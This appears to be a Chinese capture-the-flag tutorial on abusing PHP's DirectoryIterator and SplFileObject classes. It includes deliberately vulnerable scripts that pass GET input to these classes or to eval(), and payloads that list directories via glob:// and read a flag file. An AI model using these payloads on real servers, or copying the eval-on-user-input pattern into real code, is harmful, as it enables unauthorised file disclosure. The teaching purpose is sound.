初识PHP原生类

news2024/12/23 4:08:25

目录

DirectoryIterator

SplFileInfo


DirectoryIterator

适用:PHP 5, PHP 7, PHP 8

__toString()方法可以获取字符串形式的文件名

<?php
highlight_file(__file__);
$dir = $_GET['dir'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');
}
?>
?dir=./
?dir=glob://../*.lnk

练习 

<?php
error_reporting(0);
ini_set('display_errors', 0);
if(isset($_GET['c'])){
        $c= $_GET['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>

这里在docker搭个环境 

docker run -d -p 90:80 --name my_php php:7.4.3-apache

docker  start my_php

docker exec -it my_php /bin/bash

apt-get update

apt-get install vi

payload

c=$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}exit();
c=include('/flag.txt');exit(); 

 

 

 

SplFileInfo

适用:PHP 5 >= 5.1.2, PHP 7, PHP 8

SplFileInfo::__toString — Returns the path to the file as a string //将文件路径作为字符串返回

<?php
highlight_file(__file__);
$_file=$_GET['file'];
$context = new SplFileObject($_file);
foreach($context as $f){
    echo($f);
}
file=C:\Users\admin\Desktop\PHP\flag.txt
file=./flag.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/141108.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux操作系统】编辑器天花板vim与一键配置vim

文章目录一vim简介二.命令模式1.光标定位操作2.光标移动操作3.文本复制&#xff0c;粘贴&#xff0c;删除&#xff0c;剪切操作三.插入模式四.替换模式五.底行模式1.分屏操作2.不退出vim执行Linux指令3.全局查找.替换4.退出vim六.vim配置1.各配各的2.配置方案七.添加root信任用…

高校房产管理系统平台架构分析

数图互通高校房产综合管理信息系统是基于公司自主研发的FMCenterV5.0平台&#xff0c;是针对中国高校房产的管理特点和管理要求&#xff0c;研发的一套标准产品&#xff1b;通过在中国100多所高校的成功实施和迭代&#xff0c;形成了一套成熟、完善、全生命周期的房屋资源管理解…

网络规划.弱电CAD设计规范

机柜是机房布线中必不可少的设备&#xff0c;关于机柜的品牌与安装细节&#xff0c;尤其是关于机柜内部的设备布置。一个 全面的数据中心机房设计 一般包括&#xff1a;综合布线、抗静电地板铺设、棚顶墙体装修、隔断装修、UPS、专用恒温恒湿空调、机房环境监控系统、新风系统、…

VC调用AutoCAD自动化的两种方法(包装类、接口)使用详解

----哆啦刘小洋 原创&#xff0c;转载需说明出处 2022-12-29 VC调用AutoCAD自动化1 简介2 AutoCAD的Automation类型库说明文件3 包装类方式3.1 VC63.2 VC20224 接口调用方式5 两种方式对比5.1 使用便捷性5.2 兼容性5.3 结论6 后记1 简介 在工程领域&#xff0c;使用AutoCAD时经…

(小程序)后台交互--个人中心

目录 一、微信登录流程简介 二、微信用户获取用户昵称头像和昵称 ① wx.getUserProfile ——> 获取头像 三、微信登录流程代码详解 1.bindgetuserinfo——>把小程序端搭建起来 ① oa-mini 2.登录-小程序 ① wx.checkSession ② wx.login ③ wx.request 3.后台…

Python - 数据容器list(列表)

目录列表的定义列表的下标&#xff08;索引&#xff09;列表的常用操作查找某元素的下标index修改特定位置&#xff08;索引&#xff09;的元素值插入元素insert追加元素append追加元素方式extend删除元素pop与del删除某元素在列表中的第一个匹配项remove清空列表内容clear()统…

【JavaScript】获取和操作 DOM 节点

文章目录【JavaScript】获取和操作 DOM 节点一. DOM节点分类二. 获取节点(1) 获取元素节点1. 非常规元素节点2. 常规元素节点(2) 获取节点的方式三. 操作节点(1) 创建节点(2) 插入节点(3) 删除节点(4) 替换节点(5) 克隆节点(6) 节点属性四. 案例&#xff1a;微博发布【JavaScri…

使用云开发的垃圾分类、垃圾识别、答题的微信小程序源码+部署教程,文字识别垃圾类型、语音识别垃圾类型、图片识别类型、垃圾类别答题

使用云开发的垃圾分类、垃圾识别、答题的微信小程序 完整代码下载地址&#xff1a;使用云开发的垃圾分类、垃圾识别、答题的微信小程序 前言 项目介绍 小程序使用了云开发&#xff0c;包含文字识别垃圾类型、语音识别垃圾类型、图片识别类型、垃圾类别答题、腾讯机器人对话…

AndroidStudio启动app时闪退问题解决过程

问题描述: Android app在启动时闪退的问题有很多种,大部分可能集中在代码有问题上,譬如StartActivity的时候启动不了。 看提示里一般是有错误出现的,这个很好解决,只要找到对应的错误就可以了。 那么,还有一类问题,就是我这里出现的,启动成功,没有任何错误,查看lo…

Odoo 16 企业版手册 - 库存管理之库存调拨

库存调拨 拥有多个仓库的公司需要管理产品从一个地点转移到另一个地点。在某些情况下&#xff0c;公司可能在不同地点设有不同的分支机构&#xff0c;这需要付出巨大努力才能成功管理产品调拨。公司通常通过分配主要仓库和子仓库进行产品分销来管理这种情况。Odoo中的调拨功能支…

SpringBoot+JWT+Shiro+MybatisPlus实现Restful快速开发后端脚手架

一、背景 前后端分离已经成为互联网项目开发标准&#xff0c;它会为以后的大型分布式架构打下基础。SpringBoot使编码配置部署都变得简单&#xff0c;越来越多的互联网公司已经选择SpringBoot作为微服务的入门级微框架。 Mybatis-Plus是一个 Mybatis 的增强工具&#xff0c;有…

房产管理系统系统与数据中心对接要遵循的标准和规范

数图互通高校房产综合管理系统平台是基于公司自主研发的FMCenterV5.0平台&#xff0c;是针对中国高校房产的管理特点和管理要求&#xff0c;研发的一套标准产品&#xff1b;通过在中国100多所高校的成功实施和迭代&#xff0c;形成了一套成熟、完善、全生命周期的房屋资源管理解…

票务公司网上订票系统

课程设计题目七&#xff1a;票务公司网上订票系统https://download.csdn.net/download/qq_45037155/87364367 点击此链接免费下载原文章&#xff01; 第1章 绪论 1.1 引言 在当今社会&#xff0c;速度决定了很多商业机构的成败。为了顺应时代发展&#xff0c;提高效率&#x…

2023年山东建筑安全员考试真题题库及答案

百分百题库提供建筑安全员考试试题、安全员证考试真题、安全员证考试题库等,提供在线做题刷题&#xff0c;在线模拟考试&#xff0c;助你考试轻松过关。 51.申请从事建筑施工特种作业的人员,应当具备()基本条件。 A.年满18周岁且符合相关工种规定的年龄要求; B.经医院体检合格…

【Java多线程JUC入门详解】AQS原理详解

AQS 概述 AbstractQuenedSynchronizer抽象的队列式同步器, 在java.util.concurrent.locks包下。 我们常用的ReentrantLock中有一个抽象静态内部类Sync&#xff0c;就继承自AbstractQuenedSynchronizer。 abstract static class Sync extends AbstractQueuedSynchronizer { …

1.4日报

验收了TestMrlController 历经千辛万苦给电脑安装了vpn 因为昨天系统损坏&#xff0c;今天重新配置postman和navicat 遇到的困难及解决 linux安装vpn时官方给的教程&#xff1a; 可是ubnutu里没有yum&#xff0c;我得先下载yum 而默认镜像源里找不到yum软件包&#xff0c;…

单调栈 单调队列 专题

文章目录一、单调栈1、问题模型2、实现过程&#xff1a;3、代码实现4、规律总结5、题目练习二、单调队列1、问题模型2、实现过程&#xff1a;3、代码实现4、规律总结5、题目练习三、总结一、单调栈 1、问题模型 主要解决一类问题&#xff1a; O(n)O(n)O(n) 求数列中每个元素左…

PaddleNLP系列课程一:Taskflow、小样本学习、FasterTransformer

文章目录一、Taskflow1.1 前言1.2 Taskflow应用介绍1.2.1 词法分析1.2.2 命名实体识别1.2.3 文本纠错1.2.4 句法分析1.2.5 情感分析1.2.6 文本生成应用&#xff08;三行代码体验 Stable Diffusion&#xff09;1.2.7 使用技巧&#xff08;保存地址、批量推理&#xff09;二、 小…

Excel怎么转换成PDF?教你两招轻松搞定

Excel怎么转换成PDF&#xff1f;相信在工作中大家都或多或少需要转换文件的格式&#xff0c;我们会根据工作需求将word、excel、PPT、图片等文件转换成PDF文件。Excel表格是我们经常使用的一款录入数据的文件类型&#xff0c;因为excel文件打开查看时不是很方便&#xff0c;我们…

时序数据库 TDengine 3.0 参数体系使用方式汇总

在日常使用 TDengine 时&#xff0c;参数是用户们无法绕开的重要一环。深入了解参数的属性&#xff0c;生效范围&#xff0c;查询更改方式等会让我们在使用数据库的过程中更加节时高效&#xff0c;也有助于我们更加深入地理解数据库的架构体系。在 3.0 版本中&#xff0c;TDeng…